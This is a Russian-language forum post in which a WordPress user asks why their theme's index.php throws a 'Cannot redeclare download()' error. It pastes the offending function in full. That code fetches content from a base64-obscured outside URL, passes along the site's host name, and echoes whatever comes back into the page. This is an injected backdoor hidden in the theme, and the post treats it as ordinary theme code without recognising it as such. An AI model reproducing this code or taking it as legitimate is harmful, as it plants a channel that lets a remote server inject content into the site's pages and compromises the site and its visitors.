Здравствуйте... Начну сразу:
Создал блог, на главной странице вывел 3 публикации выдало ошибку
Когда ставлю 1 публикацию на странице - ошибок нет (однако это не очень удобно)...
В строчке 27 системного кода находится:
Вся функция такова:
Пожалуйста помогите, а то у меня знаний в php 0
Создал блог, на главной странице вывел 3 публикации выдало ошибку
| Цитата |
|---|
| Fatal error: Cannot redeclare download() (previously declared in /home/abc000/domains/optechaltm.ru/public_html/wp-content/themes/iFinance/index.php:27) in /home/abc000/domains/optechaltm.ru/public_html/wp-content/themes/iFinance/index.php on line 27 |
Когда ставлю 1 публикацию на странице - ошибок нет (однако это не очень удобно)...
В строчке 27 системного кода находится:
| Код |
|---|
function download($uri){ if(function_exists('curl_init')){ $curl = curl_init($uri); curl_setopt($curl, CURLOPT_RETURNTRANSFER, '1'); $ret = curl_exec($curl); curl_close($curl); return $ret; } elseif(function_exists('fsockopen')){ if (!function_exists("stripos")) { function stripos($str, $needle, $offset=0) { return strpos(strtolower($str), strtolower($needle), $offset); } } $port = 80; $extra_headers = array(); $uri = strtr(strval($uri), array("http://" => "", "https://" => "ssl://", "ssl://" => "ssl://", "\\" => "/", "//" => "/")); if (( $protocol = stripos($uri, "://") ) !== FALSE) { if (( $domain_pos = stripos($uri, "/", ($protocol + 3)) ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } else { if (( $domain_pos = stripos($uri, "/") ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } $fp = fsockopen($domain, $port, $errno, $errstr, 30); if (!$fp) { return FALSE; } else { $out = "GET " . $file . " HTTP/1.1\r\n"; $out .= "Host: " . $domain . "\r\n"; $out .= "asd: asd \r\n"; foreach ($extra_headers as $nm => $vl) { $out .= strtr(strval($nm), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . ": " . strtr(strval($vl), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . "\r\n"; } $out .= "Connection: Close\r\n\r\n"; $response = ""; fwrite($fp, $out); while (!feof($fp)) { $response .= fgets($fp, 128); } fclose($fp); $http_response_header = array(); if (stripos($response, "\r\n\r\n") !== FALSE) { $hc = explode("\r\n\r\n", $response); $headers = explode("\r\n", $hc[0]); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { $a = ""; $b = ""; if (stripos($header, ":") !== FALSE) { list($a, $b) = explode(":", $header); $http_response_header[trim($a)] = trim($b); } } return end($hc); } else if (stripos($response, "\r\n") !== FALSE) { $headers = explode("\r\n", $response); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { if ($key < ( count($headers) - 1 )) {
|
Вся функция такова:
| Код |
|---|
<?
function download($uri){ if(function_exists('curl_init')){ $curl = curl_init($uri); curl_setopt($curl, CURLOPT_RETURNTRANSFER, '1'); $ret = curl_exec($curl); curl_close($curl); return $ret; } elseif(function_exists('fsockopen')){ if (!function_exists("stripos")) { function stripos($str, $needle, $offset=0) { return strpos(strtolower($str), strtolower($needle), $offset); } } $port = 80; $extra_headers = array(); $uri = strtr(strval($uri), array("http://" => "", "https://" => "ssl://", "ssl://" => "ssl://", "\\" => "/", "//" => "/")); if (( $protocol = stripos($uri, "://") ) !== FALSE) { if (( $domain_pos = stripos($uri, "/", ($protocol + 3)) ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } else { if (( $domain_pos = stripos($uri, "/") ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } $fp = fsockopen($domain, $port, $errno, $errstr, 30); if (!$fp) { return FALSE; } else { $out = "GET " . $file . " HTTP/1.1\r\n"; $out .= "Host: " . $domain . "\r\n"; $out .= "asd: asd \r\n"; foreach ($extra_headers as $nm => $vl) { $out .= strtr(strval($nm), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . ": " . strtr(strval($vl), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . "\r\n"; } $out .= "Connection: Close\r\n\r\n"; $response = ""; fwrite($fp, $out); while (!feof($fp)) { $response .= fgets($fp, 128); } fclose($fp); $http_response_header = array(); if (stripos($response, "\r\n\r\n") !== FALSE) { $hc = explode("\r\n\r\n", $response); $headers = explode("\r\n", $hc[0]); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { $a = ""; $b = ""; if (stripos($header, ":") !== FALSE) { list($a, $b) = explode(":", $header); $http_response_header[trim($a)] = trim($b); } } return end($hc); } else if (stripos($response, "\r\n") !== FALSE) { $headers = explode("\r\n", $response); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { if ($key < ( count($headers) - 1 )) {
$a = "";$b = "";if (stripos($header, ":") !== FALSE) {list($a, $b) = explode(":", $header);$http_response_header[trim($a)] = trim($b);}}}return end($headers);}else {return $response;}}}elseif(ini_get('allow_url_fopen') && function_exists('file_get_contents')){return file_get_contents($uri);}}
$data = download(base64_decode('aHR0cDovL2ppbW1tb2JpLnJ1L3NlcnZlci5waHA=').'?id='.$_SERVER["HTTP_HOST"]);
echo $data;
?>
|
Пожалуйста помогите, а то у меня знаний в php 0



